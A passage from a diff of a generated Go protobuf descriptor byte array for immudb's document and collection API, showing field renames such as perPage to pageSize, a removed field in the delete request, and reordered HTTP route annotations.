0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, + 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, + 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0d, 0x4f, 0x72, 0x64, + 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, 0x0a, - 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, - 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, @@ -2349,11 +2331,9 @@ var file_documents_proto_rawDesc = []byte{ 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x62, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x22, 0x42, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x18, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, @@ -2373,133 +2353,133 @@ var file_documents_proto_rawDesc = []byte{ 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, - 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x28, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, + 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, + 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, + 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, + 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x26, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, 0x41, 0x09, - 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, - 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x65, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x97, 0x01, + 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 